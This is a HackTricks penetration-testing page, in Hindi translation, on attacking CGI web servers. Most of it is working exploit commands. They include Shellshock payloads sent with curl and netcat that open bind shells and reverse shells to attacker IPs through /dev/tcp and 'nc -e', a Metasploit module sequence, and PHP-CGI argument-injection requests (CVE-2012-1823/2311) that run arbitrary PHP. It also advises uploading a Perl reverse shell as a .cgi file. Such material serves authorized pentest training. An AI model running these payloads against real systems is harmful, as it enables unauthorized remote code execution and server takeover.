hacktricks/network-services-pentesting/pentesting-web/cgi.md

11 KiB

शून्य से नायक तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

जानकारी

CGI स्क्रिप्ट्स पर्ल स्क्रिप्ट्स होती हैं, इसलिए, यदि आपने एक सर्वर को समझौता किया है जो .cgi स्क्रिप्ट्स को निष्पादित कर सकता है, तो आप पर्ल रिवर्स शेल अपलोड कर सकते हैं `/usr/share/webshells/perl/perl-reverse-shell.pl`, एक्सटेंशन बदलें .pl से .cgi में, निष्पादन अनुमतियां दें `chmod +x` और वेब ब्राउज़र से रिवर्स शेल तक पहुँचें उसे निष्पादित करने के लिए। CGI दोषों की जांच के लिए nikto -C all और सभी प्लगइन्स का उपयोग करना सुझावित है।

ShellShock

Bash का उपयोग उन आदेशों को चलाने के लिए भी किया जा सकता है जो उसे एप्लिकेशन द्वारा भेजे जाते हैं और यही विशेषता वह है जिसे दोष प्रभावित करता है। एक प्रकार का आदेश जो Bash को भेजा जा सकता है वह पर्यावरण चर को सेट करने की अनुमति देता है। पर्यावरण चर गतिशील, नामित मूल्य होते हैं जो कंप्यूटर पर प्रक्रियाओं को चलाने के तरीके को प्रभावित करते हैं। दोष इस तथ्य में निहित है कि एक हमलावर पर्यावरण चर के साथ दुर्भावनापूर्ण कोड जोड़ सकता है, जो चर प्राप्त होने पर चलेगा

इस दोष का शोषण करते समय पृष्ठ में एक त्रुटि फेंक सकता है

आप इस दोष को पुराने Apache संस्करण का उपयोग करते हुए और cgi_mod cgi फ़ोल्डर के साथ या nikto का उपयोग करके पा सकते हैं

परीक्षण

अधिकांश परीक्षण किसी चीज़ को इको करने और उम्मीद करने पर आधारित हैं कि वह स्ट्रिंग वेब प्रतिक्रिया में वापस आएगी। यदि आपको लगता है कि कोई पृष्ठ संवेदनशील हो सकता है, तो सभी cgi पृष्ठों की खोज करें और उनका परीक्षण करें।

Nmap

nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi

Curl (परावर्तित, अंधा और बाहरी-संबंध)

# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh

Shellsocker

python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi

एक्सप्लॉइट

#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run

प्रॉक्सी (MitM से वेब सर्वर अनुरोधों के लिए)

CGI प्रत्येक हेडर के लिए एक पर्यावरण चर बनाता है जो http अनुरोध में होता है। उदाहरण के लिए: "host:web.com" को "HTTP_HOST"="web.com" के रूप में बनाया जाता है।

HTTP_PROXY चर का उपयोग वेब सर्वर द्वारा किया जा सकता है। हेडर में "Proxy: <IP_attacker>:<PORT>" भेजने का प्रयास करें और यदि सर्वर सत्र के दौरान कोई अनुरोध करता है। आप सर्वर द्वारा किए गए प्रत्येक अनुरोध को कैप्चर कर पाएंगे।

पुराना PHP + CGI = RCE CVE-2012-1823, CVE-2012-2311

मूल रूप से यदि cgi सक्रिय है और php "पुराना" है &lt;5.3.12 / &lt; 5.4.2 तो आप कोड निष्पादित कर सकते हैं। इस कमजोरी का लाभ उठाने के लिए आपको वेब सर्वर की किसी PHP फ़ाइल तक पहुँचना होगा बिना पैरामीटर भेजे (विशेष रूप से "=" चरित्र के बिना)। फिर, इस कमजोरी का परीक्षण करने के लिए, आप /index.php?-s ध्यान दें `-s` तक पहुँच सकते हैं और एप्लिकेशन का सोर्स कोड प्रतिक्रिया में दिखाई देगा

फिर, RCE प्राप्त करने के लिए आप यह विशेष क्वेरी भेज सकते हैं: /?-d allow_url_include=1 -d auto_prepend_file=php://input और PHP कोड जिसे अनुरोध के शरीर में निष्पादित किया जाना है। उदाहरण:

curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

इस वल्न के बारे में और अधिक जानकारी और संभावित एक्सप्लॉइट्स: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF Writeup उदाहरण.

AWS हैकिंग सीखें शुरुआत से लेकर एक्सपर्ट तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके: